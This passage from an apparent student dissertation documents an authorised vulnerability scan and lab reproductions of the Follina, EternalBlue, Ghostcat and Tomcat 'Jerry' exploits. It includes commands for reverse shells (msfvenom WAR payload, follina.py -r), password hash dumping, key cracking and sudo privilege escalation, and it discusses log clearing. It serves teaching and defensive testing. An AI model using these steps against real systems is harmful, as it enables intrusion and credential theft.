[bookmark: _Toc104297736][bookmark: _Toc111981687]3.7	Design
Once the Rules of Engagement have been finalised with Organisation A giving written consent and the scope of the test, Kali Linux operating system (OS) will be set up on VMware and a VPN will be created using FortiClient.
Reconnaissance will look at the network and scan for CVEs. These vulnerabilities will be researched, and a plan of attack created. The exploits will be implemented, and the analysis of the results will determine the success of the project aim.
A report will be generated and forwarded to Organisation A.
[bookmark: _Toc104297737][bookmark: _Toc111981688]3.8	Data Collection and Analysis Methods
There are many different types of strategies for researchers to choose from for data collection. [52] suggests that the type of data collected is dictated by the research proposal question. In this case most of the data collection will be primary data ie. original data collected for the sole purpose of answering the research question and for replicable experiments to be conducted. 
The primary data will be analysed against secondary data from the literature review to measure the similarities or differences in the outcome of the experiments.
[bookmark: _Toc104297059][bookmark: _Toc104297738][bookmark: _Toc111981689]3.9	Risk Assessment
A risk assessment is required to ensure a successful project. There are numerous factors that could impact this project and they have been put into a table (table 1) together with the requisite mitigating factors.
	Risk
	Mitigation

	Time constraint for experimentation.
	Ensure the goals are achievable and realistic.

	Software that is unavailable.
	Have contingency software that could perform the same function.

	Loss of data or data corruption.
	Ensure that there are copies of the data stored in separate locations within the cloud. 


[bookmark: _Toc111363896]Table 1: Risks and Mitigation Techniques

[bookmark: _Toc111981690][bookmark: _Toc104297061][bookmark: _Toc104297740]3.10	Contingency Plan
The project is currently subject to Organisation A accepting a penetration test on their system. It is within their right to stop this from happening at any time. Should this be the case, then the vulnerability scan exposing known CVEs set up prior to the start of this project will be used and these CVEs will be set up on virtual machines and used as a simulation of what would have happened had Organisation A continued with their authorisation.
[bookmark: _Toc111981691]3.11	Ethical Reflections
When writing this project, the utmost discretion will be used to keep any information pertaining to the organisation anonymous. Encryption and passwords per document will be standard. The use of reliable platforms together with Multi-Factor Authentication to store data will provide more security. Only anonymised results will be produced and revealed for this project. 
An approved ethics form has been completed (Appendix 3). 
3.12 [bookmark: _Toc111981692]Research Conclusion
This chapter highlighted the research methods required to successfully complete the project. The structured plan outlines the research approach as quantitative with a postpositivist paradigm and a cross-sectional time horizon.
It established the need for up-to-date research using reliable sources such as peer reviewed journals. A risk assessment was undertaken, and mitigation techniques were examined, and a contingency plan was put in place.
A timeline was explored using a project planner and ethical considerations were investigated.
Finally, this chapter outlined the resources and design together with how data is to be collected, stored, and analysed. The following chapter will further develop the project design.


[bookmark: _Toc111981693]CHAPTER 4: DESIGN AND IMPLEMENTATION
[bookmark: _Toc111981694]4.1	Introduction
There are three sections to chapter 4: the first is the problem formulation; what the problem is and why it needs to be examined. The second is the project design, covering the hardware and software used for the experiments. The third details how the experiments are to be implemented.
[bookmark: _Toc111981695]4.2	Problem Formulation
Organisation A has been attacked and breached prior to this point. Device hardening and security measures were implemented to mitigate any recurrence. To test this, an outside perspective was required to ascertain whether the security measures were adequate. The problem is, therefore, to determine whether Organisation A’s security stance is sufficient.
[bookmark: _Toc111981696]4.3	Design
Oracle VM Virtual Box was installed on a base computer and a virtual machine using Kali Linux set up as demonstrated in figure 41. Access to Organisation A was gained via FortiClient VPN for the initial scan using GVM, generating reports that expose CVEs within the system. At this point a copy of the reports was given to Organisation A.
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[bookmark: _Toc111363605][bookmark: _Toc111363742][bookmark: _Toc111981766]Figure 41: Virtual Machine using Forticlient VPN

The reports were examined by the author, and the CVEs generated were researched to see whether any of the vulnerabilities could be exploited. It was, however, unethical to ask Organisation A not to mitigate the vulnerabilities whilst waiting for the exploits to be conducted, so the vulnerabilities found were tested on virtual machines. Therefore, a testbed was set up as illustrated in figure 42.
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[bookmark: _Toc111363606][bookmark: _Toc111363743][bookmark: _Toc111981767]Figure 42: Virtual Machine Testbed

An exploit was required to gain remote access to the network, so Follina (CVE 2022-30190) was chosen to breach network security. 
The results from the scan showed an OS end of life with a severity level 10. To recreate this scenario, Eternal Blue (MS17-010) was executed on a Windows 7 virtual machine using Kali Linux and Metasploit with no payload. 
The Ghostcat exploit was used to test against vulnerability CVE 2020-1938 (severity level 9.8) for the Apache Tomcat webapp.
Apache Tomcat whilst being vulnerable to Ghostcat is also vulnerable to the ‘Jerry’ exploit with MSFVenom so this was also tested.
[bookmark: _Toc111981697]4.4	Implementation
This section will set out the methods used to set up the experiments.
[bookmark: _Toc111981698]4.4.1	The Base Machine for the GVM Experiment
The computer chosen for the base machine was a Viglen Genie with an Intel ® CoreTM i7-7700 CPU @ 3.60GHz with 32GB RAM and a 64-bit operating system and x64-based processor. An OS of Windows 10 Enterprise version 21H1 with Windows Feature Experience Pack 120.2212.4170.0 was used.
[bookmark: _Toc111981699]4.4.2	FortiClient VPN 
FortiClient VPN was installed on the base machine and opened using credentials provided by Organisation A, purposely concealed to ensure confidentiality, as detailed in figure 43.
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[bookmark: _Toc111363607][bookmark: _Toc111363744][bookmark: _Toc111981768]Figure 43: FortiClient VPN connection

[bookmark: _Toc111981700]4.4.3	Oracle VM VirtualBox
Oracle VM VirtualBox (VirtualBox) was installed on the base machine.
A virtual machine was created in VirtualBox using Kali Linux 2022.2-virtualbox-amd-64, with an OS Debian (64-bit). The base memory was 11500MB with 4 processors, the acceleration was VT-x/AMD-V, Nested Paging, PAE/NX and KVM Paravirtualization as illustrated in figure 44.
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[bookmark: _Toc111363608][bookmark: _Toc111363745][bookmark: _Toc111981769]Figure 44: Kali Virtual Machine

Two network adapters were installed, the first one was a bridged adapter so that the GVM software could use the loopback address of the virtual machine, figure 45.
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[bookmark: _Toc111363609][bookmark: _Toc111363746][bookmark: _Toc111981770]Figure 45: Bridged Adapter Network 1

Figure 46 sets out the creation of a second network card with a NAT adapter to enable network access externally.
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[bookmark: _Toc111363610][bookmark: _Toc111363747][bookmark: _Toc111981771]Figure 46: NAT Adapter Network 2

[bookmark: _Toc111981701]
4.4.5	GVM Installation
	GVM was installed on to the virtual machine as illustrated in figure 47.
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[bookmark: _Toc111363611][bookmark: _Toc111363748][bookmark: _Toc111981772]Figure 47: Installation of GVM

	To ensure that GVM was set up correctly “gvm-check-setup” was run as outlined in figure 48.
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[bookmark: _Toc111363612][bookmark: _Toc111363749][bookmark: _Toc111981773]Figure 48: Check GVM Setup

To ensure that the software being used was up to date “apt update && apt upgrade -y” was implemented on Kali each time it was used as outlined in figure 49.
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[bookmark: _Toc111363613][bookmark: _Toc111363750][bookmark: _Toc111981774]Figure 49: Kali Update and Upgrade

As GVM uses the latest vulnerability and exploitation database this also had to be updated before each use as illustrated in figure 50.
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[bookmark: _Toc111363614][bookmark: _Toc111363751][bookmark: _Toc111981775]Figure 50: GVM Database Update

The applications tab was opened and the ‘Vulnerability Analysis’ section was chosen. Within this drop-down menu ‘gvm start’ was selected as illustrated in figure 51. 
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[bookmark: _Toc111363615][bookmark: _Toc111363752][bookmark: _Toc111981776]Figure 51: GVM Start

The command line is opened as illustrated in figure 52. 
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[bookmark: _Toc111363616][bookmark: _Toc111363753][bookmark: _Toc111981777]Figure 52: GVM start on command line

Figure 53 demonstrates the web browser being automatically opened by GVM on 127.0.0.1 port 9392.
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[bookmark: _Toc111363617][bookmark: _Toc111363754][bookmark: _Toc111981778]Figure 53: GVM opening web browser

Figure 54 sets out the set-up of a Task indicating the type of scan, the host IP addresses, the Secure Shell (SSH) credentials and port number that will allow FortiClient VPN to be used.
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[bookmark: _Toc111363618][bookmark: _Toc111363755][bookmark: _Toc111981779]Figure 54: Setting up part 1 of the Task

Figure 55 demonstrates how the Task is then used to set up the ‘Scan Targets’ using the network source interface (ie. FortiClient VPN). 
[image: Graphical user interface, application

Description automatically generated]
[bookmark: _Toc111363619][bookmark: _Toc111363756][bookmark: _Toc111981780]Figure 55: Using the Task to set up Scan Target

[bookmark: _Toc111981702]4.4.6	Follina Setup 
Two virtual machines were set up on a base machine with an Intel® Core™ i5-3470 CPU @3.20GHz. There was 16 GB RAM and a 64-bit operating system, x64-based processor running Windows. Oracle VM VirtualBox was used to create the WinDev2016 and Kali Linux virtual machines as illustrated in figure 56.
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[bookmark: _Toc111363620][bookmark: _Toc111363757][bookmark: _Toc111981781]Figure 56: WinDev2016 & Kali Linux Virtual Machines

Using the Kali Linux machine as the attacker, msdt-follina was downloaded from Github [54] as illustrated in figure 57.
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[bookmark: _Toc111363621][bookmark: _Toc111363758][bookmark: _Toc111981782]Figure 57: Successful Download of MSDT-Follina

Figure 58 illustrates that the Follina.py file is included in the msdt-follina folder.
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[bookmark: _Toc111363622][bookmark: _Toc111363759][bookmark: _Toc111981783]Figure 58: Follina.py in the msdt-follina folder
[bookmark: _Toc111981703]4.4.7	Setup for the EternalBlue Experiment
The ‘Follina setup’ was used for the EternalBlue experiment (figure 59) with the Kali Linux machine performing the experiment on the Windows machine.
[image: Graphical user interface, application

Description automatically generated]
[bookmark: _Toc111363623][bookmark: _Toc111363760][bookmark: _Toc111981784]Figure 59: Virtual Machines in Oracle VirtualBox

The networks were set up as illustrated in figures 60 and 61. 
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[bookmark: _Toc111363624][bookmark: _Toc111363761][bookmark: _Toc111981785]Figure 60: Windows Network Setup

[image: Graphical user interface, application
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[bookmark: _Toc111363625][bookmark: _Toc111363762][bookmark: _Toc111981786]Figure 61: Kali Linux Network Setup

The IP addresses were found using ipconfig and ifconfig on the Windows and Kali Linux machines respectively, set out in figures 62 and 63. The IP address for the Windows system is 192.168.1.10 and the IP address for the Kali Linux machine is 192.168.1.11.
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[bookmark: _Toc111363626][bookmark: _Toc111363763][bookmark: _Toc111981787]Figure 62: IP Address for Windows 7
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[bookmark: _Toc111363627][bookmark: _Toc111363764][bookmark: _Toc111981788]Figure 63: IP address for Kali Linux

An example of the two flags that were to be captured during the experiment are set out in figure 64.
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[bookmark: _Toc111363628][bookmark: _Toc111363765][bookmark: _Toc111981789]Figure 64: Creation of Flag 2

To test the connectivity of the two machines the ‘ping’ command was issued on the Windows command line and was successful as outlined in figure 65.
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[bookmark: _Toc111363629][bookmark: _Toc111363766][bookmark: _Toc111981790]Figure 65: Ping command used to test connectivity

[bookmark: _Toc111981704]4.4.8	GhostCat Setup
	Ghostcat (00theway) was cloned from the Github repository as set out in figure 66.
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[bookmark: _Toc111363663][bookmark: _Toc111363800][bookmark: _Toc111981791]Figure 66: Clone Ghostcat from Github Repository [55]

The command ‘cd’ was used to change directory to Ghostcat and ‘ls’ given to see what files were listed, paying particular attention to the ajpShooter.py file (figure 67).
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[bookmark: _Toc111363664][bookmark: _Toc111363801][bookmark: _Toc111981792]Figure 67: List files in Ghostcat Directory [55]

[bookmark: _Toc111981705]4.5	Design and Implementation Conclusion
This chapter has set out how the project was designed to solve the problem faced by an organisation regarding its security. The design laid out the steps that were taken to achieve the aim of the project. The design was successfully implemented and was now ready for the experiments to be conducted, covered in detail in the next chapter.

[bookmark: _Toc111981706]CHAPTER 5: EXPERIMENTS & RESULTS
[bookmark: _Toc111981707]5.1	Introduction
The prerequisite steps that were outlined in chapter 4 have now been completed and chapter 5 will set out the experiments. The first is to mutually agree the rules of engagement between the organisation and the author. The second is to run the GVM via the VPN and ascertain what, if any, vulnerabilities are reported. Once the reports have been given to the organisation, the third will be to research any vulnerabilities and plan various attack methodologies. Lastly a report will be made and given to Organisation A so that they can mitigate the risks to their network.
[bookmark: _Toc111981708]5.2	Rules of Engagement
[bookmark: _Int_cpSBZqZb][bookmark: _Int_NjiCJWGk]Pre-engagement definition of the scope is arguably the most crucial step as it defines what areas are to be tested, how the test will be conducted, the timeline for the work ie. start and end dates. The targets must be identified, Internet Protocol (IP) address ranges and domains must be specified [15].
Written consent / authorization and scope has been obtained between UWTSD, expressly setting out my authorisation to conduct the experiments, and Organisation A. The scope is that no destructive tests may be carried out on the network.
The connection details to access the organisation’s FortiClient VPN together with the identified IP address targets were sent via encryption to the author.


The timeline for conducting phase 1 was identified as the bank holiday weekend of 3-5 June with the reports being presented to Organisation A by 11 June 2022.
Phase 2 research will start immediately, as the penetration tests must be completed by 17 July 2022. This will allow time for the write up and analysis to be conducted on completion.
[bookmark: _Toc111981709]PHASE 1
[bookmark: _Toc111981710]5.3	Run GVM via the VPN
So that the network was disrupted as little as possible the scan took place over a bank holiday weekend. Figure 68 illustrates the first task that was run against xxx.xxx.xxx.0/24 and the web address was the local host using port 9392.
[image: Graphical user interface, website

Description automatically generated]
[bookmark: _Toc111363630][bookmark: _Toc111363767][bookmark: _Toc111981793]Figure 68: First Scan with GVM against xxx.xxx.xxx.0/24


Figure 69 details the start of the process with 1% of the scan started.
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[bookmark: _Toc111363631][bookmark: _Toc111363768][bookmark: _Toc111981794]Figure 69: GVM Scan at 1%

A list of the most severe CVEs is attached in Appendix 4.
Figure 70 demonstrates the scan on 192.168.1.0 at 99% complete together with an earlier scan completed against xxx.xxx.xxx.x/24 with a severity threat level at 7.5 out of 10. 
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[bookmark: _Toc111363632][bookmark: _Toc111363769][bookmark: _Toc111981795]Figure 70: 99% of scan completed




	In total 14 tasks were run against the target IP addresses. Figure 71 sets out the vulnerabilities by severity level.
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[bookmark: _Toc111363634][bookmark: _Toc111363771][bookmark: _Toc111981796]Figure 71: Vulnerabilities by Severity

[bookmark: _Toc111981711]PHASE TWO
Using the results from the vulnerability scan of Organisation A, vulnerabilities were tested.
[bookmark: _Toc111981712]5.4	Follina – CVE 2022-30190 – Severity Level 7.8
MSDT-Follina was downloaded as set out in chapter 4.4.6. The directory was changed to MSDT-Follina and the ‘python3 follina.py’ command was run as set out in figure 72.
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[bookmark: _Toc111363635][bookmark: _Toc111363772][bookmark: _Toc111981797]Figure 72: Command 'python3 follina.py'

This creates the ‘Follina Document’ that includes the payload (currently to open the calculator) on the victim machine as set out in figure 73.
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[bookmark: _Toc111363636][bookmark: _Toc111363773][bookmark: _Toc111981798]Figure 73: Creation of the Follina.doc

The IP address of the Kali Linux machine was noted, and a python server was created as demonstrated in figures 74 and 75.
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[bookmark: _Toc111363637][bookmark: _Toc111363774][bookmark: _Toc111981799]Figure 74: Kali IP Address

[image: ]
[bookmark: _Toc111363638][bookmark: _Toc111363775][bookmark: _Toc111981800]Figure 75: Creation of a Python Server

The server was used to download the ‘follina.doc’ onto the victim machine rather than use an email which would have been the case in a real-world scenario as illustrated in figure 76.
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[bookmark: _Toc111363639][bookmark: _Toc111363776][bookmark: _Toc111981801]Figure 76: Download 'follina.doc' onto victim machine

Once Follina is on the victim’s machine it can be opened. Figures 77 and 78 demonstrate the opening of the Follina.doc illustrating the connection to the python server.
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[bookmark: _Toc111363640][bookmark: _Toc111363777][bookmark: _Toc111981802]Figure 77: Connecting to the Server to open follina.doc
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[bookmark: _Toc111363641][bookmark: _Toc111363778][bookmark: _Toc111981803]Figure 78: Connecting to the Python Server

Once the Word document has been opened, the enable editing button needs to be enabled as outlined in figure 79.
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[bookmark: _Toc111363642][bookmark: _Toc111363779][bookmark: _Toc111981804]Figure 79: Enable Editing

The result can be found in figure 80 where the calculator is opened at the same time as the MSDT trouble-shooter.
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[bookmark: _Toc111363643][bookmark: _Toc111363780][bookmark: _Toc111981805]Figure 80: Calculator opened
Using the Kali attacker machine, the command ‘python3 follina.py -c “notepad.exe” is entered as set out in figure 81. By doing this Notepad is opened instead of the calculator (figure 82).
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[bookmark: _Toc111363644][bookmark: _Toc111363781][bookmark: _Toc111981806]Figure 81: Follina.py Notepad Execution

[image: ]
[bookmark: _Toc111363645][bookmark: _Toc111363782][bookmark: _Toc111981807]Figure 82: Notepad executed

The payload can be changed to a reverse shell using the command ‘python3 follina.py -r 9999’. The ‘whoami’ command illustrated in figure 83 demonstrates the connection.
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[bookmark: _Toc111363646][bookmark: _Toc111363783][bookmark: _Toc111981808]Figure 83: Reverse Shell using Follina
[bookmark: _Toc111981713]5.5	OS End of Life: EternalBlue – Severity Level 10
Using the Kali Linux as the testing machine an initial scan was made against the Windows target machine using the ip address of 192.168.1.10 as illustrated in figure 84. The machine is using ‘smb 2.1’ which is vulnerable to MS17-010.
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[bookmark: _Toc111363647][bookmark: _Toc111363784][bookmark: _Toc111981809]Figure 84: Nmap scan of vulnerable machine

A script was downloaded from Github that would enable a test to be run that was specific to ascertain if the target machine was vulnerable specifically to EternalBlue as set out in figure 85.
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[bookmark: _Toc111363648][bookmark: _Toc111363785][bookmark: _Toc111981810]Figure 85: Download script from Github
This script was then run as demonstrated in figure 86, showing that the target machine was vulnerable.
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[bookmark: _Toc111363649][bookmark: _Toc111363786][bookmark: _Toc111981811]Figure 86: Target is confirmed vulnerable
	
Metasploit was started as demonstrated in figure 87.
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[bookmark: _Toc111363650][bookmark: _Toc111363787][bookmark: _Toc111981812]Figure 87: Metasploit

Figure 88 sets out the check for EternalBlue on the Metasploit Framework.
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[bookmark: _Toc111363651][bookmark: _Toc111363788][bookmark: _Toc111981813]Figure 88: Check for EternalBlue in Metasploit Framework

The EternalBlue exploit was set up as illustrated in figure 89.
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[bookmark: _Toc111363652][bookmark: _Toc111363789][bookmark: _Toc111981814]Figure 89: EternalBlue exploit set up
The RHOST was set, and the exploit was run as illustrated in figure 90. The creation of a ‘free hole adjacent to SMB2 buffer’ as outlined in chapter 2.7 can be seen.
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[bookmark: _Toc111363653][bookmark: _Toc111363790][bookmark: _Toc111981815]Figure 90: EternalBlue has established a connection

The command ‘run post/windows/gather/hashdump’ was used to gather information about the users on the target machine as set out in figure 91.
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[bookmark: _Toc111363654][bookmark: _Toc111363791][bookmark: _Toc111981816]Figure 91: User information on target machine

A shell was created and the ‘whoami’ command was used to find the system (nt authority system) as set out in figure 92.
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[bookmark: _Toc111363655][bookmark: _Toc111363792][bookmark: _Toc111981817]Figure 92: Shell and ‘whoami’

Directories were examined, starting with user ‘Tony’ as illustrated in figure 93.
[image: ]
[bookmark: _Toc111363656][bookmark: _Toc111363793][bookmark: _Toc111981818]Figure 93: Examination of Directory Contents

The ‘Documents’ directory of user ‘Tony’ were examined and when the file ‘Flag1’ was found it was opened using the ‘cat’ (concatenate) command and the text can be seen in figure 94.
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[bookmark: _Toc111363657][bookmark: _Toc111363794][bookmark: _Toc111981819]Figure 94: Flag 1 captured

The user was changed to ‘Hazel’, flag 2 was found and ‘cat’ was used to see the contents as illustrated in figure 95.
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[bookmark: _Toc111363658][bookmark: _Toc111363795][bookmark: _Toc111981820]Figure 95: Capture of Flag 2







[bookmark: _Toc111981714]5.6	Ghostcat: CVE 2020-1938 – Severity Level 9.8
A virtual machine was deployed in TryHackMe as illustrated in figure 96 This has an IP address of 10.10.249.194 and the two flags are to compromise the machine, obtain user.txt and to escalate privileges and obtain the root.txt files.
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[bookmark: _Toc111363659][bookmark: _Toc111363796][bookmark: _Toc111981821]Figure 96: Activate Virtual Machine Tomcat [55]

A directory called tomghost and a readable file is made, and the IP address is added as a variable as illustrated in figure 97.
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[bookmark: _Toc111363660][bookmark: _Toc111363797][bookmark: _Toc111981822]Figure 97: Tomghost Directory and Readme File Created [55]

A directory for nmap was created and a scan run using the command ‘-sC sV -oN nmap $IP’. The -sC will run the default script scan, the -sV will give a details output of the ports and the -oN will output to text file as demonstrated in figure 98. Ports 22 (SSH), 53 (DNS), 8009 (AJP), and 8080 (HTTP) are open.
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[bookmark: _Toc111363661][bookmark: _Toc111363798][bookmark: _Toc111981823]Figure 98: Nmap [55]

Mozilla Firefox was opened, and the virtual machine Internet Protocol address and port number was input to test whether the Apache Tomcat Webserver was running as illustrated in figure 99.
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[bookmark: _Toc111363662][bookmark: _Toc111363799][bookmark: _Toc111981824]Figure 99: Apache Tomcat is running [55]

The command ‘python ajpShooter.py’ was given to run it as outlined in figure 100.
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[bookmark: _Toc111363665][bookmark: _Toc111363802][bookmark: _Toc111981825]Figure 100: Run AjpShooter [55]

Apache Tomcat is running so AjpShooter can be executed. To do this the command is run and all the arguments are input (url, AJP port, target file and shooter) as demonstrated in figure 101.
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[bookmark: _Toc111363666][bookmark: _Toc111363803][bookmark: _Toc111981826]Figure 101: AJP Shooter Run [55]

Once the web.xml file has been read it returns the username and password as illustrated in figure 102.
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[bookmark: _Toc111363667][bookmark: _Toc111363804][bookmark: _Toc111981827]Figure 102: the Username and Password is Returned [55]

Nmap was run showing port 22 as ‘open’(figure 98). Using the username ‘skyfuck’ and the password an SSH connection was established. The files were listed using the ‘ls’ command demonstrated in figure 103. The file list includes ‘credential.pgp’ and ‘tryhackme.asc’.
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[bookmark: _Toc111363668][bookmark: _Toc111363805][bookmark: _Toc111981828]Figure 103: SSH into User and List Directory Contents [55]
The Secure Copy Protocol (SCP) is a protocol like the File Transfer Protocol (FTP) but with added authentication and security. The SCP is used to transfer the files as demonstrated in figure 104.
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[bookmark: _Toc111363669][bookmark: _Toc111363806][bookmark: _Toc111981829]Figure 104: SCP File Transfer [55]

The file types are illustrated in figure 105. The command ‘subl’ is used to bring up the text of the corresponding file, which in this case is the pgp private block key, also illustrated.
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[bookmark: _Toc111363670][bookmark: _Toc111363807][bookmark: _Toc111981830]Figure 105: PGP Private Block Key [55]

Once the encrypted Private Key Block has been found it can be cracked using the John the Ripper tool. The ‘cat’ command is used to read file from the data and display as output as illustrated in figure 106.
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[bookmark: _Toc111363671][bookmark: _Toc111363808][bookmark: _Toc111981831]Figure 106: The 'cat' command used on credential.pgp [55]

The encrypted pgp file can potentially be unlocked using the key from the asc file so 
johntheripper on gpg2john with the file tryhackme.asc will be run and the output placed in a file named hashes_for_john on the ‘opt’ directory as demonstrated in figure 107.
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[bookmark: _Toc111363672][bookmark: _Toc111363809][bookmark: _Toc111981832]Figure 107: Run JTR against tryhackme.asc [55]

The text inside the hashes file will be run against the wordlist ‘rockyou’ which is also in the ‘opt’ directory. The key ‘alexandru’ has been found as illustrated in figure 108.
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[bookmark: _Toc111363673][bookmark: _Toc111363810][bookmark: _Toc111981833]Figure 108: The key has been found [55]

This key is used in the passphrase when importing the gpg tryhackme.asc file as shown in figure 109.
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[bookmark: _Toc111363674][bookmark: _Toc111363811][bookmark: _Toc111981834]Figure 109: Use the passphrase to import tryhackme [55]

Figure 110 displays the successful outcome.
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[bookmark: _Toc111363675][bookmark: _Toc111363812][bookmark: _Toc111981835]Figure 110: Successful Import of TryHackMe [55]

This file is then used to decrypt the gpg file using the ‘gpg --decrypt credential.pgp’ command and returns the user ‘merlin’ together with its password as illustrated in figure 111.
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[bookmark: _Toc111363676][bookmark: _Toc111363813][bookmark: _Toc111981836]Figure 111: Decrypt Credential.pgp [55]

The user ‘merlin’ and its password are used for the SSH connection as outlined in figure 112.
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[bookmark: _Toc111363677][bookmark: _Toc111363814][bookmark: _Toc111981837]Figure 112: SSH into User 'Merlin' [55]

When listing the files in user ‘merlin’ a user.txt file can be seen (figure 113).
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[bookmark: _Toc111363678][bookmark: _Toc111363815][bookmark: _Toc111981838]Figure 113: Merlin List Directory [55]
 
The ‘cat’ command is used again to see the text inside the file as illustrated in figure 114. The first flag has been found.
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[bookmark: _Toc111363679][bookmark: _Toc111363816][bookmark: _Toc111981839]Figure 114: User-txt [55]

Merlin is then checked for ‘sudo’ privileges and because it can run ‘NOPASSWD /usr/bin/zip’, GTFOBins is searched for a Unix binary that can bypass local security restrictions (figures 115 and 116).
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[bookmark: _Toc111363680][bookmark: _Toc111363817][bookmark: _Toc111981840]Figure 115: Looking for Sudo Privileges [55]
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[bookmark: _Toc111363681][bookmark: _Toc111363818][bookmark: _Toc111981841]Figure 116: Searching GTFOBins for Zip [55]

The result that needs to be input in the virtual machine to escalate privileges is illustrated in figure 117.
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[bookmark: _Toc111363682][bookmark: _Toc111363819][bookmark: _Toc111981842]Figure 117: Code to escalate privileges [55]

This command is now input as illustrated in figure 118.
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[bookmark: _Toc111363683][bookmark: _Toc111363820][bookmark: _Toc111981843]Figure 118: Root Directory [55]
There is now access to the root directory as illustrated in figure 119. A list of the contents is run and the file root.txt is found. The ‘whoami’ command confirms root and the ‘cat’ command is able to see the contents of the ‘root.txt.file. The second flag is found.
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[bookmark: _Toc111363684][bookmark: _Toc111363821][bookmark: _Toc111981844]Figure 119: The Second Flag is captured [55]

[bookmark: _Toc111981715]5.7	Jerry with MSFVenom on Apache Tomcat
Hack the Box was used for this attack. The IP address is 10.10.10.95 as illustrated in figure 120.
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[bookmark: _Toc111363685][bookmark: _Toc111363822][bookmark: _Toc111981845]Figure 120: Hack the Box IP Address [56]

The initial enumeration reconnaissance is started using nmap as demonstrated in figure 121.
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[bookmark: _Toc111363686][bookmark: _Toc111363823][bookmark: _Toc111981846]Figure 121: Nmap is run on top ports [57]

Using Nikto (a vulnerability scanner) -h IP address and port number, the landing page of the Apache Tomcat server is available and when the manager app is clicked to open manager the login form together with the login credentials appear as demonstrated in figure 122. The default credentials are also available on any search engine.
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[bookmark: _Toc111363687][bookmark: _Toc111363824][bookmark: _Toc111981847]Figure 122: Nikto finds Username and Password [57]

The Apache Tomcat webserver is opened as in figure 123.
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[bookmark: _Toc111363688][bookmark: _Toc111363825][bookmark: _Toc111981848]Figure 123: Apache Tomcat Webserver is opened [57]

Using the credentials found above the application manager was opened as shown in figure 124.
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[bookmark: _Toc111363689][bookmark: _Toc111363826][bookmark: _Toc111981849]Figure 124: Authentication Application Manager [57]

Figure 125 illustrates the Web Application Manager open.
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[bookmark: _Toc111363690][bookmark: _Toc111363827][bookmark: _Toc111981850]Figure 125: Web Application Manager Running [57]

The .WAR file was created using ‘msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=4444 -f war > shell.war’ as illustrated in figure 126. This reverse shell connection is a nonstaged payload that can be caught using the Netcat listener.
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[bookmark: _Toc111363691][bookmark: _Toc111363828][bookmark: _Toc111981851]Figure 126: Creation of the .WAR File 

Figure 127 shows where the .WAR file is to be uploaded. 
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[bookmark: _Toc111363692][bookmark: _Toc111363829][bookmark: _Toc111981852]Figure 127: Browse to upload the .WAR file [57]

The shell.war file is then called by going to 10.10.10.95:8080/myshell or clicking ‘start’ in the right-hand column of the application manager as illustrated in figure 128.
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[bookmark: _Toc111363693][bookmark: _Toc111363830][bookmark: _Toc111981853]Figure 128: Start the Reverse Shell [57]

Netcat is deployed to listen to the reverse shell connect back on port 4444 that was used in the .WAR file as demonstrated in figure 129.
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[bookmark: _Toc111363694][bookmark: _Toc111363831][bookmark: _Toc111981854]Figure 129: Netcat is run on port 4444 defined in .WAR file

Figure 130 illustrates that the listener is successful, and a reverse shell connection has been established. This means that there is a connection to this machine through a vulnerable web service that has default credentials.
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[bookmark: _Toc111363695][bookmark: _Toc111363832][bookmark: _Toc111981855]Figure 130: NC is successful [57]

There is a ‘C:\’ so it is a Windows application. Therefore, if the directory is changed as follows, the flags’ text is visible. 
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The output is illustrated in figure 131 showing the text in user.txt and root.txt.
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[bookmark: _Toc111363696][bookmark: _Toc111363833][bookmark: _Toc111981856]Figure 131: The Flags have been captured [57]







[bookmark: _Toc111981716]CHAPTER 6: DISCUSSION AND ANALYSIS OF RESULTS
The aim of the report was to investigate the current cybersecurity stance of Organization A, and this was successful.
Running OpenVAS against Organisation A’s network provided a report detailing several vulnerabilities. ‘Follina’ was used as one of the methods to gain remote access to the network. In the testbed environment the payload document was transferred to the victim machine whereas it would usually be sent via a phishing email. An employee would have to open the document and ‘enable editing’ for it to execute.
EternalBlue was run as an internal attack although it could be run remotely.
Once access to the network was obtained, there are any number of post exploit pivots that could be run. The first would be to create a valid ‘user’ with password within Microsoft Defender with elevated privileges so that there was less likelihood of being flagged by any security software thereby establishing persistence. Some of the payloads that could be executed are ransomware, DDoS attacks or DoublePulsar. 
Data[footnoteRef:2] could be exfiltrated either through the command-and-control channel and to hide may put size limitations on transmission including compression and encryption [58]. Once persistence has been established and the data exfiltration is accomplished, obfuscation of the tracks could transpire. There are many ways of doing this eg. Metasploit have commands that clear entire event logs on victim machine – although the downside is that it becomes suspicious as all the logs disappear so forensic analysis would be aware that something occurred but would be unable to ascertain what. There are many other forensic countermeasures that could be used such as specific log deletion, changing, or forging event log entries, or changing timestamp values [59]. [2:  High value target of data exfiltration is financial information, intellectual property, customer databases, username, passwords and other credentials, Social Security information, cryptographic keys, and proprietary software [61].] 

Exploiting the Ghostcat vulnerability permits attackers to read the resources on the Tomcat server. This means that the configuration or source code files of all the webapps deployed can be disclosed. Using the Jerry with MSFVenom exploit further compounds the matter as malicious files can be uploaded to the server resulting in Remote Code Execution. Once exploited some of the possibilities are persistence via a backdoor, code could be triggered to steal client data, influence operations, or disrupt services. 
Mitigation techniques are available for all these exploits as follows:
Follina is usually blocked by Microsoft Defender although according to [33] using an .RTF file would bypass this defence. 
EternalBlue could be mitigated by upgrading the OS on the machine to one that receives security updates. If this is not possible then consideration should be given to removing access to the Internet.
Ghostcat and Jerry with MSFVenom exploits can be mitigated by updating the Apache Tomcat webserver to version 7.0.100, 8.5.51, 9.0.31 or later.
Following these experiments Organisation A is in a much better position to understand and mitigate the vulnerabilities found by OpenVAS. This type of in-depth testing has allowed Organisation A to have a more effective security stance. 
The position should be evaluated regularly on a quarterly basis to ensure that when new exploits are created Organisation A can mitigate against any new threats and are thereby less vulnerable.
The results would have benefitted from running each experiment as a remote, external, and internal attack however time constraints did not permit this.


[bookmark: _Toc111981717]CHAPTER 7: CONCLUSION AND RECOMMENDATIONS
[bookmark: _Toc111981718]7.1	Conclusion
In concluding this report ‘an Investigation of a Post-Breach, Upgraded Security Stance using Vulnerability Scanning and Penetration Testing Techniques’, an outline of each chapter will be made to ascertain its success or failure.
Chapter One clearly set out the aim and objectives that were required to ensure that this project was achieved. 
Research into the specific CVEs was conducted for Chapter Two and illustrated what flaws exist within each protocol or system that allows the penetration techniques to work. This insight greatly assisted with understanding how the tests should be carried out and what aspects of the code needed to be considered.
Chapter Three provided a research methodology, a contingency plan, risk assessment and ethical considerations. As the implication of Organisation A waiting for the results of the investigation was unethical, the contingency plan was used.
The design and implementation of the testbed was considered in Chapter Four, and this set out all the steps that were required before experimentation could be undertaken. 
Chapter Five contained phase one and two of the experiments. A synopsis of the results is set out as follows:
